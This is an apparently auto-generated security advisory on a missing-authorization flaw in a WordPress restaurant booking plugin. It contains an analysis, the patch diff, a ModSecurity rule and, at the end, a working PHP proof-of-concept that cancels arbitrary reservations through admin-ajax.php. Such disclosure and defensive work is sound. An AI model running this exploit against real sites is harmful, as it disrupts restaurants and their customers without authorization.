Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-25327: Five Star Restaurant Reservations – WordPress Booking Plugin <= 2.7.9 – Missing Authorization (restaurant-reservations)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 2.7.9
Patched Version 2.7.10
Disclosed March 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25327:
The Five Star Restaurant Reservations WordPress plugin, versions up to and including 2.7.9, contains a missing authorization vulnerability in its booking cancellation functionality. This flaw allows unauthenticated attackers to cancel arbitrary restaurant reservations. The CVSS score of 5.3 reflects a medium severity impact on availability.

Root Cause:
The vulnerability resides in the `rtb_ajax_cancel_booking` function within the `Ajax.class.php` file. The function lacks any capability check or nonce verification before processing cancellation requests. Specifically, the function at line 161-184 in the vulnerable version directly processes POST requests containing `booking_id` and `booking_email` parameters. The code validates only that the provided email matches the stored booking email, without verifying the user’s authentication state or permissions. This missing authorization check violates WordPress security best practices for AJAX handlers.

Exploitation:
Attackers can exploit this vulnerability by sending a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `cancel_booking`. The request must include `booking_id` (the numeric ID of the target reservation) and `booking_email` (the email address associated with the booking). No authentication cookies, nonces, or other authorization tokens are required. The plugin’s AJAX handler at `restaurant-reservations/includes/Ajax.class.php` processes these unauthenticated requests through the `rtb_ajax_cancel_booking` function.

Patch Analysis:
The patch introduces a cancellation code requirement to replace the missing authorization check. Version 2.7.10 adds a `cancellation_code` field to booking objects (Booking.class.php line 77) and generates random codes for new bookings (line 876). The `rtb_ajax_cancel_booking` function now requires a `booking_code` parameter (line 174) that must match the stored `cancellation_code` (line 184). A new setting `disable-cancellation-code-required` allows administrators to disable this requirement. The patch also updates the notification system to include cancellation codes in emails (Notification.class.php line 120) and modifies the frontend template to request the code (template-functions.php line 196-204).

Impact:
Successful exploitation allows unauthenticated attackers to cancel any restaurant reservation by knowing only the booking ID and associated email address. This directly impacts business operations by disrupting reservation schedules, causing customer dissatisfaction, and potentially creating financial losses for restaurants. The attack requires no special privileges and can be performed remotely. While the vulnerability does not enable data theft or code execution, it represents a significant availability threat to businesses using the plugin.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/restaurant-reservations/includes/Ajax.class.php
+++ b/restaurant-reservations/includes/Ajax.class.php
@@ -89,6 +89,7 @@
 			}

 			$email = isset($_POST['booking_email']) ? sanitize_email( $_POST['booking_email'] ) : '';
+			$code = isset($_POST['booking_code']) ? sanitize_text_field( $_POST['booking_code'] ) : '';

 			if ( ! $email ) {
 				wp_send_json_error(
@@ -99,6 +100,15 @@
 				);
 			}

+			if ( ! $code and empty( $rtb_controller->settings->get_setting( 'disable-cancellation-code-required' ) ) ) {
+				wp_send_json_error(
+					array(
+						'error' => 'nocode',
+						'msg' => __( 'The cancellation code you entered is not valid.', 'restaurant-reservations' ),
+					)
+				);
+			}
+
 			$booking_status_lbls = $rtb_controller->cpts->booking_statuses;

 			$bookings = array();
@@ -114,15 +124,18 @@
 				if ( $booking->load_post( $booking_id->post_id ) ) {
 					$booking_date = (new DateTime($booking->date, wp_timezone()))->format('U');
 					if ( in_array($booking->post_status, ['pending', 'payment_pending', 'payment_failed', 'confirmed'] ) and time() < $booking_date ) {
-						$bookings[] = array(
-							'ID'         => $booking->ID,
-							'email'      => $booking->email,
-							'datetime'   => $booking->format_date( $booking->date ),
-							'datetime_u' => $booking_date,
-							'party'      => $booking->party,
-							'status'     => $booking->post_status,
-							'status_lbl' => $booking_status_lbls[$booking->post_status]['label']
-						);
+						if ( $booking->cancellation_code == $code or ! empty( $rtb_controller->settings->get_setting( 'disable-cancellation-code-required' ) ) ) {
+							$bookings[] = array(
+								'ID'         => $booking->ID,
+								'email'      => $booking->email,
+								'code'       => $booking->cancellation_code,
+								'datetime'   => $booking->format_date( $booking->date ),
+								'datetime_u' => $booking_date,
+								'party'      => $booking->party,
+								'status'     => $booking->post_status,
+								'status_lbl' => $booking_status_lbls[$booking->post_status]['label']
+							);
+						}
 					}
 				}
 			}
@@ -161,6 +174,7 @@

 			$booking_id = isset($_REQUEST['booking_id']) ? absint( $_REQUEST['booking_id'] ) : '';
 			$booking_email = isset($_REQUEST['booking_email']) ? sanitize_email( $_REQUEST['booking_email'] ) : '';
+			$booking_code = isset($_REQUEST['booking_code']) ? sanitize_text_field( $_REQUEST['booking_code'] ) : '';

 			$success = false;
 			$error = array(
@@ -170,10 +184,22 @@

 			$booking = new rtbBooking();
 			if ( $booking->load_post( $booking_id ) ) {
+
 				if ( $booking_email == $booking->email ) {
-					wp_update_post( array( 'ID' => $booking->ID, 'post_status' => 'cancelled' ) );
+
+					if ( $booking_code != $booking->cancellation_code and empty( $rtb_controller->settings->get_setting( 'disable-cancellation-code-required' ) ) ) {
+
+						$error = array(
+							'error' => 'invalidcode',
+							'msg' => __( 'The cancellation code you entered is not valid.', 'restaurant-reservations' ),
+						);
+					}
+					else {
+
+						wp_update_post( array( 'ID' => $booking->ID, 'post_status' => 'cancelled' ) );

-					$success = true;
+						$success = true;
+					}
 				}
 				else {
 					$error = array(
@@ -311,8 +337,6 @@
 				$finalize_response( $hours );
 			}

-			$min_party_size = (int) $rtb_controller->settings->get_setting( 'party-size-min' );
-
 			$all_possible_slots = $this->get_all_possible_timeslots( $hours );

 			// Get all current bookings sorted by date
@@ -396,6 +420,8 @@

 				$timeslot = rtb_get_timeslot( $datetime, $location_id );

+				$min_party_size = (int) $rtb_controller->settings->get_setting( 'party-size-min', $location_slug, $timeslot );
+
 				$max_reservations = (int) $rtb_controller->settings->get_setting( 'rtb-max-tables-count', $location_slug, $timeslot );

 				$max_people = (int) $rtb_controller->settings->get_setting( 'rtb-max-people-count', $location_slug, $timeslot );
@@ -723,6 +749,9 @@
 			$datetime = $this->year . '-' . $this->month . '-' . $this->day . ' ' . $this->time;
 			$timeslot = rtb_get_timeslot( $datetime, $location_id );

+			$min_party_size = (int) $rtb_controller->settings->get_setting( 'party-size-min', $location_slug, $timeslot );
+			$max_party_size = (int) $rtb_controller->settings->get_setting( 'party-size', $location_slug, $timeslot );
+
 			$max_people = (int) $rtb_controller->settings->get_setting( 'rtb-max-people-count', $location_slug, $timeslot );

 			$dining_block_seconds = (int) $rtb_controller->settings->get_setting( 'rtb-dining-block-length', $location_slug, $timeslot ) * 60 - 1;  // Take 1 second off, to avoid bookings that start or end exactly at the beginning of a booking block
@@ -804,12 +833,27 @@
 					$max_time_size = max( $max_time_size, array_sum( $party_sizes ) );
 				}

-				$response = (object) array( 'available_spots' => $max_people - $max_time_size);
+				$max_people = min( ( $max_people - $max_time_size ), $max_party_size );
+
+				$response = (object) array(
+					'available_spots' => $max_people - $max_time_size,
+					'min_party_size'  => $min_party_size,
+				);

 				echo json_encode($response);

 				die();
-			} else {
+			} elseif ( $rtb_controller->settings->check_location_timeslot_party_rules() ) {
+
+				$response = (object) array(
+					'available_spots' => $max_party_size,
+					'min_party_size'  => $min_party_size,
+				);
+
+				echo json_encode($response);
+				die();
+			}
+			else {
 				return false;
 			}
 		}
--- a/restaurant-reservations/includes/Booking.class.php
+++ b/restaurant-reservations/includes/Booking.class.php
@@ -77,6 +77,7 @@
 	public $payment_failure_message;
 	public $receipt_id;
 	public $mc_optin;
+	public $cancellation_code;

 	// notifications
 	public $reminder_sent;
@@ -167,7 +168,8 @@
 			'late_arrival_sent' => false,
 			'post_reservation_follow_up_sent' => false,
 			'reservation_notifications'	=> array(),
-			'mc_optin' => false
+			'mc_optin' => false,
+			'cancellation_code' => ''
 		);

 		$meta_defaults = apply_filters( 'rtb_booking_metadata_defaults', $meta_defaults );
@@ -190,6 +192,7 @@
 		$this->table = $meta['table'];
 		$this->payment_failure_message = $meta['payment_failure_message'];
 		$this->receipt_id = $meta['receipt_id'];
+		$this->cancellation_code = $meta['cancellation_code'];

 		$this->reminder_sent = $meta['reminder_sent'];
 		$this->late_arrival_sent = $meta['late_arrival_sent'];
@@ -692,7 +695,8 @@

 		// Check party size
 		} else {
-			$party_size = $rtb_controller->settings->get_setting( 'party-size' );
+
+			$party_size = $rtb_controller->settings->get_setting( 'party-size', $this->get_location_slug(), $this->get_timeslot() );
 			if ( ! empty( $party_size ) && $party_size < $this->party ) {
 				$this->validation_errors[] = array(
 					'field'			=> 'party',
@@ -700,7 +704,7 @@
 					'message'	=> sprintf( esc_html( $rtb_controller->settings->get_setting( 'label-only-accept-bookings-for-parties-up-to' ) ), $party_size ),
 				);
 			}
-			$party_size_min = $rtb_controller->settings->get_setting( 'party-size-min' );
+			$party_size_min = $rtb_controller->settings->get_setting( 'party-size-min', $this->get_location_slug(), $this->get_timeslot() );
 			if ( ! empty( $party_size_min ) && $party_size_min > $this->party ) {
 				$this->validation_errors[] = array(
 					'field'			=> 'party',
@@ -872,6 +876,9 @@
 			);
 		}

+		// Create a cancellation code for this booking if it's not set
+		$this->cancellation_code = ! empty( $this->cancellation_code ) ? $this->cancellation_code : rtb_random_string();
+
 		do_action( 'rtb_validate_booking_submission', $this );

 	}
@@ -1604,9 +1611,10 @@
 	public function insert_post_meta() {

 		$meta = array(
-			'party' => $this->party,
-			'email' => $this->email,
-			'phone' => $this->phone,
+			'party'             => $this->party,
+			'email'             => $this->email,
+			'phone'             => $this->phone,
+			'cancellation_code' => $this->cancellation_code,
 		);

 		if ( !empty( $this->ip ) ) {
--- a/restaurant-reservations/includes/Cron.class.php
+++ b/restaurant-reservations/includes/Cron.class.php
@@ -95,7 +95,9 @@
 		$time_interval = $this->get_time_interval( 'time-reminder-user' );

 		$start_time_seconds = time() - ( $time_interval + 3600 );
-		$end_time_seconds = time() + $time_interval;
+
+		$max_late_window = 3 * HOUR_IN_SECONDS;
+		$end_time_seconds = time() + ( $time_interval - $max_late_window );

 		$bookings = $this->get_booking_posts( $start_time_seconds, $end_time_seconds );

@@ -146,7 +148,9 @@
 		$time_interval = $this->get_time_interval( 'time-late-user' );

 		$start_time_seconds = time() - ( $time_interval + 3600 );
-		$end_time_seconds = time() - $time_interval;
+
+		$max_late_window = 1 * HOUR_IN_SECONDS;
+		$end_time_seconds = time() + ( $time_interval - $max_late_window );

 		$bookings = $this->get_booking_posts( $start_time_seconds, $end_time_seconds );

@@ -197,7 +201,9 @@
 		$time_interval = $this->get_time_interval( 'time-post-reservation-follow-up-user' );

 		$start_time_seconds = time() - ( $time_interval + 3600 );
-		$end_time_seconds = time() - $time_interval;
+
+		$max_late_window = 3 * HOUR_IN_SECONDS;
+		$end_time_seconds = time() + ( $time_interval - $max_late_window );

 		$bookings = $this->get_booking_posts( $start_time_seconds, $end_time_seconds );

--- a/restaurant-reservations/includes/Notification.class.php
+++ b/restaurant-reservations/includes/Notification.class.php
@@ -105,7 +105,8 @@
 			array(
 				'action' => 'cancel',
 				'booking_id' => $this->booking->ID,
-				'booking_email' => $this->booking->email
+				'booking_email' => $this->booking->email,
+				'booking_code' => $this->booking->cancellation_code
 			),
 			$booking_page_url
 		);
@@ -119,6 +120,7 @@
 			'{date}'				=> $this->booking->format_date( $this->booking->date ),
 			'{phone}'				=> esc_html( $this->booking->phone ),
 			'{message}'				=> esc_html( $this->booking->message ),
+			'{cancellation_code}'	=> esc_html( $this->booking->cancellation_code ),
 			'{booking_url}'			=> $booking_page_url,
 			'{cancellation_url}'	=> $cancellation_url,
 			'{bookings_link_url}'	=> admin_url( 'admin.php?page=rtb-bookings&status=pending' ),
--- a/restaurant-reservations/includes/Settings.class.php
+++ b/restaurant-reservations/includes/Settings.class.php
@@ -614,6 +614,7 @@
 			'label-modify-make-reservation'		=> __( 'Make a Reservation', 'restaurant-reservations' ),
 			'label-modify-using-form'			=> __( 'Use the form below to find your reservation', 'restaurant-reservations' ),
 			'label-modify-form-email'			=> __( 'Email:', 'restaurant-reservations' ),
+			'label-modify-form-code'			=> __( 'Modification Code:', 'restaurant-reservations' ),
 			'label-modify-find-reservations'	=> __( 'Find Reservations', 'restaurant-reservations' ),
 			'label-modify-no-bookings-found'	=> __( 'No bookings were found for the email address you entered.', 'restaurant-reservations' ),
 			'label-modify-cancel'				=> __( 'Cancel', 'restaurant-reservations' ),
@@ -1312,6 +1313,11 @@
     		)
     	);

+    	$settings_type_toggle_options = array();
+
+		if ( ! empty( $this->location_options ) ) { $settings_type_toggle_options['location'] = $this->location_options; }
+		if ( ! empty( $this->timeslot_options ) ) { $settings_type_toggle_options['scheduling_rule'] = $this->timeslot_options; }
+
 		$sap->add_section(
 			'rtb-settings',
 			array(
@@ -1320,6 +1326,7 @@
 				'is_tab'			=> true,
 				'rank'				=> 2,
 				'tutorial_yt_id'	=> '-RC2kUhXkLQ',
+				//'settings_type_toggle_options' => $settings_type_toggle_options,
 				'icon'				=> 'text'
 			)
 		);
@@ -1419,6 +1426,17 @@
 			'rtb-general',
 			'toggle',
 			array(
+				'id'			=> 'disable-cancellation-code-required',
+				'title'			=> __( 'Disable Cancellation Code Required', 'restaurant-reservations' ),
+				'description'	=> __( 'By default, cancelling or modifying a reservation requires a code as well as the user's email address, to prevent malicious cancellation activity.', 'restaurant-reservations' )
+			)
+		);
+
+		$sap->add_setting(
+			'rtb-settings',
+			'rtb-general',
+			'toggle',
+			array(
 				'id'			=> 'show-cancelled-status',
 				'title'			=> __( 'Show Cancelled Bookings in Admin', 'restaurant-reservations' ),
 				'description'	=> __( 'By default, cancelled bookings will only show on the admin bookings screen if you have the above "Let Guests View and Cancel Bookings" option enabled. Enabling this option lets you display cancelled bookings even if the above option is disabled. (An example use case for this would be if you have added a cancel link to your customer emails.)', 'restaurant-reservations' ),
@@ -2040,11 +2058,6 @@
 			)
 		);

-		$settings_type_toggle_options = array();
-
-		if ( ! empty( $this->location_options ) ) { $settings_type_toggle_options['location'] = $this->location_options; }
-		if ( ! empty( $this->timeslot_options ) ) { $settings_type_toggle_options['scheduling_rule'] = $this->timeslot_options; }
-
 		/**
 	     * Premium options preview only
 	     */
@@ -2348,13 +2361,13 @@
 		$location = ( ! empty( $location_id ) and term_exists( $location_id ) ) ? get_term( $location_id ) : false;
 		$location_slug = ! empty( $location ) ? $location->slug : false;

-		$party_size = (int) $this->get_setting( 'party-size' );
-		$party_size_min = (int) $this->get_setting( 'party-size-min' );
+		$party_size = (int) $this->get_setting( 'party-size', $location_slug );
+		$party_size_min = (int) $this->get_setting( 'party-size-min', $location_slug );
 		$max_people = ! empty( $this->get_setting( 'rtb-max-people-count', $location_slug ) ) ? (int) $this->get_setting( 'rtb-max-people-count', $location_slug ) : 100;
 		$max_people = ( ! is_admin() || empty( $this->get_setting( 'rtb-admin-ignore-maximums' ) ) ) ? $max_people : 100;

-		$min = apply_filters( 'rtb_party_size_lower_limit', empty( $party_size_min ) ? 1 : (int) $this->get_setting( 'party-size-min' ) );
-		$max = min( $max_people, apply_filters( 'rtb_party_size_upper_limit', empty( $party_size ) ? 100 : (int) $this->get_setting( 'party-size' ) ) );
+		$min = apply_filters( 'rtb_party_size_lower_limit', empty( $party_size_min ) ? 1 : (int) $this->get_setting( 'party-size-min', $location_slug ) );
+		$max = min( $max_people, apply_filters( 'rtb_party_size_upper_limit', empty( $party_size ) ? 100 : (int) $this->get_setting( 'party-size', $location_slug ) ) );

 		for ( $i = $min; $i <= $max; $i++ ) {
 			$options[$i] = $i;
@@ -2381,11 +2394,16 @@

 		foreach ( $tables as $table ) {

+			if ( ! empty( $table->disabled ) ) { continue; }
+
 			$option = '';
 			$table_section_name = '';

 			foreach ( $table_sections as $table_section ) {
 				if ( $table_section->section_id == $table->section ) {
+
+					if ( ! empty( $table_section->disabled ) ) { continue 2; }
+
 					$table_section_name = $table_section->name;
 					break;
 				}
@@ -2428,11 +2446,27 @@

 		$location_slug = ! empty( $location_id ) ? get_term_field( 'slug', $location_id ) : false;

+		$table_sections = json_decode( html_entity_decode( $this->get_setting( 'rtb-table-sections', $location_slug, $timeslot ) ) );
+		$table_sections = is_array( $table_sections ) ? $table_sections : array();
+
 		$tables = json_decode( html_entity_decode( $this->get_setting( 'rtb-tables', $location_slug, $timeslot ) ) );
 		$tables = is_array( $tables ) ? $tables : array();

 		$sorted_tables = array();
 		foreach ( $tables as $table ) {
+
+			if ( ! empty( $table->disabled ) ) { continue; }
+
+			// Ignore table if it's in a disabled section
+			foreach ( $table_sections as $table_section ) {
+				if ( $table_section->section_id == $table->section ) {
+
+					if ( ! empty( $table_section->disabled ) ) { continue 2; }
+
+					break;
+				}
+			}
+
 			$sorted_tables[ $table->number ] = $table;
 		}

@@ -2661,6 +2695,7 @@
 				'{date}'				=> __( '* Date and time of the booking', 'restaurant-reservations' ),
 				'{phone}'				=> __( 'Phone number if supplied with the request', 'restaurant-reservations' ),
 				'{message}'				=> __( 'Message added to the request', 'restaurant-reservations' ),
+				'{cancellation_code}'   => __( 'The code needed to cancel or modify a booking, if that setting is not disabled.', 'restaurant-reservations' ),
 				'{booking_id}'			=> __( 'The ID of the booking', 'restaurant-reservations' ),
 				'{booking_page_link}'	=> __( 'A link to the bookings page on the front-end of the site.', 'restaurant-reservations' ),
 				'{booking_url}'			=> __( 'The URL of the bookings page on the front-end of the site.', 'restaurant-reservations' ),
@@ -2768,6 +2803,9 @@

 		$table_section_options = array();
 		foreach ( $table_sections as $table_section ) {
+
+			if ( ! empty( $table_section->disabled ) ) { continue; }
+
 			$table_section_options[ $table_section->section_id ] = $table_section->name;
 		}

@@ -2869,7 +2907,7 @@

 		if ( empty( $this->location_options ) and empty( $this->timeslot_options ) ) { return $sap; }

-		$tabs_to_modify = array( 'rtb-schedule-tab', 'rtb-advanced-tab' );
+		$tabs_to_modify = array( 'rtb-schedule-tab', 'rtb-basic', 'rtb-advanced-tab' );

 		foreach ( $sap->pages['rtb-settings']->sections as $key => $section ) {

@@ -2878,8 +2916,8 @@
 			foreach ( $section->settings as $setting_key => $setting ) {

 				// add get/set to utilize method chaining
-				$sap->pages['rtb-settings']->sections[ $key ]->settings[ $setting_key ]->setting_type = $section->tab == 'rtb-advanced-tab' ? array( 'location', 'scheduling_rule' ) : array( 'location' );
-				$sap->pages['rtb-settings']->sections[ $key ]->settings[ $setting_key ]->setting_type_value = $section->tab == 'rtb-advanced-tab' ? array( false, false ) : array( false );
+				$sap->pages['rtb-settings']->sections[ $key ]->settings[ $setting_key ]->setting_type = $section->tab == 'rtb-schedule-tab' ? array( 'location' ) : array( 'location', 'scheduling_rule' );
+				$sap->pages['rtb-settings']->sections[ $key ]->settings[ $setting_key ]->setting_type_value = $section->tab == 'rtb-schedule-tab' ? array( false ) : array( false, false );

 				$sap->pages['rtb-settings']->sections[ $key ]->settings[ $setting_key ]->set_setting_type_display();
 			}
@@ -3018,6 +3056,36 @@
 				'rtb-general',
 				'select',
 				array(
+					'id'            => $option['slug'] . '-party-size-min',
+					'title'         => __( 'Min Party Size', 'restaurant-reservations' ),
+					'description'   => __( 'Set a minimum allowed party size for bookings.', 'restaurant-reservations' ),
+					'blank_option'	=> false,
+					'options'       => $this->get_party_size_setting_options( false ),
+					'setting_type' 			=> $option['type'],
+					'setting_type_value'	=> $option['value'],
+				)
+			);
+
+			$sap->add_setting(
+				'rtb-settings',
+				'rtb-general',
+				'select',
+				array(
+					'id'            => $option['slug'] . '-party-size',
+					'title'         => __( 'Max Party Size', 'restaurant-reservations' ),
+					'description'   => __( 'Set a maximum allowed party size for bookings.', 'restaurant-reservations' ),
+					'blank_option'	=> false,
+					'options'       => $this->get_party_size_setting_options(),
+					'setting_type' 			=> $option['type'],
+					'setting_type_value'	=> $option['value'],
+				)
+			);
+
+			$sap->add_setting(
+				'rtb-settings',
+				'rtb-general',
+				'select',
+				array(
 					'id'            		=> $option['slug'] . '-auto-confirm-max-party-size',
 					'title'         		=> __( 'Automatically Confirm Below Party Size', 'restaurant-reservations' ),
 					'description'   		=> __( 'Set a maximum party size below which all bookings will be automatically confirmed.', 'restaurant-reservations' ),
@@ -3110,6 +3178,11 @@
 			        'setting_type' 			=> $option['type'],
 					'setting_type_value'	=> $option['value'],
 			        'fields'    => array(
+			          'disabled' => array(
+              		    'type'    => 'toggle',
+              		    'label'   => __('Disabled', 'restaurant-reservations' ),
+              		    'required'  => false
+              		  ),
 			          'section_id' => array(
 			            'type'    => 'id',
 			            'label'   => __('Section ID', 'restaurant-reservations' ),
@@ -3143,6 +3216,11 @@
 					'setting_type_value'	=> $option['value'],
 					'fields'    => array_merge(
 						array(
+			          		'disabled' => array(
+			          			'type'    => 'toggle',
+			          			'label'   => __('Disabled', 'restaurant-reservations' ),
+			          			'required'  => false
+			          		),
 			          		'number' => array(
 			          			'type'    => 'text',
 			          			'label'   => __('Table Number', 'restaurant-reservations' ),
@@ -3179,5 +3257,15 @@
 		return $sap;
 	}

+	public function check_location_timeslot_party_rules() {
+
+		foreach ( array_keys( $this->settings ) as $key ) {
+    		if ( substr( $key, -strlen( '-party-size' ) ) === '-party-size' ) { return true; }
+    		if ( substr( $key, -strlen( '-party-size-min' ) ) === '-party-size-min' ) { return true; }
+    	}
+
+		return false;
+	}
+
 }
 } // endif;
--- a/restaurant-reservations/includes/template-functions.php
+++ b/restaurant-reservations/includes/template-functions.php
@@ -196,6 +196,12 @@
 				<?php echo esc_html( $rtb_controller->settings->get_setting( 'label-modify-form-email'  ) ); ?>
 				<input type="email" name="rtb_modification_email">
 			</label>
+			<?php if ( empty( $rtb_controller->settings->get_setting( 'disable-cancellation-code-required' ) ) ) { ?>
+				<label for="rtb_modification_code">
+					<?php echo esc_html( $rtb_controller->settings->get_setting( 'label-modify-form-code'  ) ); ?>
+					<input type="text" name="rtb_modification_code">
+				</label>
+			<?php } ?>
 			<div class="rtb-find-reservation-button-div">
 				<div class="rtb-find-reservation-button">
 					<?php echo esc_html( $rtb_controller->settings->get_setting( 'label-modify-find-reservations'  ) ); ?>
@@ -1223,6 +1229,19 @@
 	}
 }

+if ( ! function_exists( 'rtb_random_string' ) ) {
+	function rtb_random_string($length = 10) {
+	    $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
+	    $charactersLength = strlen($characters);
+	    $randomString = '';
+
+	    for ($i = 0; $i < $length; $i++) {
+	        $randomString .= $characters[random_int(0, $charactersLength - 1)];
+	    }
+
+	    return $randomString;
+	}
+}

 // Temporary addition, so that versions of WP before 5.3.0 are supported
 if ( ! function_exists( 'wp_timezone') ) {
--- a/restaurant-reservations/lib/simple-admin-pages/classes/AdminPageSetting.InfiniteTable.class.php
+++ b/restaurant-reservations/lib/simple-admin-pages/classes/AdminPageSetting.InfiniteTable.class.php
@@ -174,7 +174,7 @@
 									<?php endif; ?>
 									<?php if ($field['type'] == 'toggle') : ?>
 										<label class="sap-admin-switch">
-											<input type="checkbox" class="sap-admin-option-toggle" data-name="<?php echo esc_attr( $field_id ); ?>" checked >
+											<input type="checkbox" class="sap-admin-option-toggle" data-name="<?php echo esc_attr( $field_id ); ?>" <?php echo ( empty( $field['unchecked'] ) ? 'checked' : '' ); ?> >
 											<span class="sap-admin-switch-slider round"></span>
 										</label>
 									<?php endif; ?>
--- a/restaurant-reservations/restaurant-reservations.php
+++ b/restaurant-reservations/restaurant-reservations.php
@@ -3,7 +3,7 @@
  * Plugin Name: Five Star Restaurant Reservations - WordPress Booking Plugin
  * Plugin URI: http://www.fivestarplugins.com/plugins/five-star-restaurant-reservations/
  * Description: Restaurant reservations made easy. Accept bookings online. Quickly confirm or reject reservations, send email notifications, set booking times and more.
- * Version: 2.7.9
+ * Version: 2.7.10
  * Author: Five Star Plugins
  * Author URI: https://www.fivestarplugins.com/
  * Text Domain: restaurant-reservations
@@ -58,7 +58,7 @@
 	public function __construct() {

 		// Common strings
-		define( 'RTB_VERSION', '2.7.9' );
+		define( 'RTB_VERSION', '2.7.10' );
 		define( 'RTB_PLUGIN_DIR', untrailingslashit( plugin_dir_path( __FILE__ ) ) );
 		define( 'RTB_PLUGIN_URL', untrailingslashit( plugins_url( basename( plugin_dir_path( __FILE__ ) ), basename( __FILE__ ) ) ) );
 		define( 'RTB_PLUGIN_FNAME', plugin_basename( __FILE__ ) );
@@ -776,6 +776,7 @@
 				'early_bookings' 				=> is_admin() && current_user_can( 'manage_bookings' ) ? '' : $rtb_controller->settings->get_setting( 'early-bookings' ),
 				'late_bookings' 				=> is_admin() && current_user_can( 'manage_bookings' ) ? '' : $rtb_controller->settings->get_setting( 'late-bookings' ),
 				'enable_max_reservations' 		=> is_admin() && current_user_can( 'manage_bookings' ) ? false : $rtb_controller->settings->get_setting( 'rtb-enable-max-tables' ),
+				'location_timeslot_party_rules'	=> is_admin() && current_user_can( 'manage_bookings' ) ? false : $rtb_controller->settings->check_location_timeslot_party_rules(),
 				'max_people' 					=> is_admin() && current_user_can( 'manage_bookings' ) ? 100 : $rtb_controller->settings->get_setting( 'rtb-max-people-count' ),
 				'enable_tables' 				=> $rtb_controller->settings->get_setting( 'enable-tables' ),
 				'date_onload' 					=> $rtb_controller->settings->get_setting( 'date-onload' ),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-25327
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:10025327,phase:2,deny,status:403,chain,msg:'CVE-2026-25327: Five Star Restaurant Reservations unauthorized booking cancellation attempt',severity:'CRITICAL',tag:'CVE-2026-25327',tag:'WordPress',tag:'Plugin',tag:'Five-Star-Restaurant-Reservations'"
  SecRule ARGS_POST:action "@streq cancel_booking" "chain"
    SecRule &ARGS_POST:booking_id "!@eq 0" "chain"
      SecRule &ARGS_POST:booking_email "!@eq 0" "chain"
        SecRule &ARGS_POST:booking_code "@eq 0" 
          "setvar:'tx.cve_2026_25327_score=+%{tx.critical_anomaly_score}',setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25327 - Five Star Restaurant Reservations – WordPress Booking Plugin <= 2.7.9 - Missing Authorization

<?php

$target_url = 'https://example.com/wp-admin/admin-ajax.php';

// Target booking ID to cancel
$booking_id = 123;

// Email associated with the booking
$booking_email = 'customer@example.com';

// Prepare POST data for the vulnerable endpoint
$post_data = array(
    'action' => 'cancel_booking',           // AJAX action hook
    'booking_id' => $booking_id,            // Target reservation ID
    'booking_email' => $booking_email       // Email for validation
);

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate AJAX request
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'X-Requested-With: XMLHttpRequest',
    'User-Agent: Atomic Edge Research Scanner'
));

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response: $responsen";
    
    // Parse JSON response to determine success
    $json_response = json_decode($response, true);
    if (isset($json_response['success']) && $json_response['success'] === true) {
        echo "[SUCCESS] Booking #$booking_id has been cancelled.n";
    } elseif (isset($json_response['error'])) {
        echo "[ERROR] Cancellation failed: " . $json_response['error'] . "n";
    }
}

// Clean up
curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School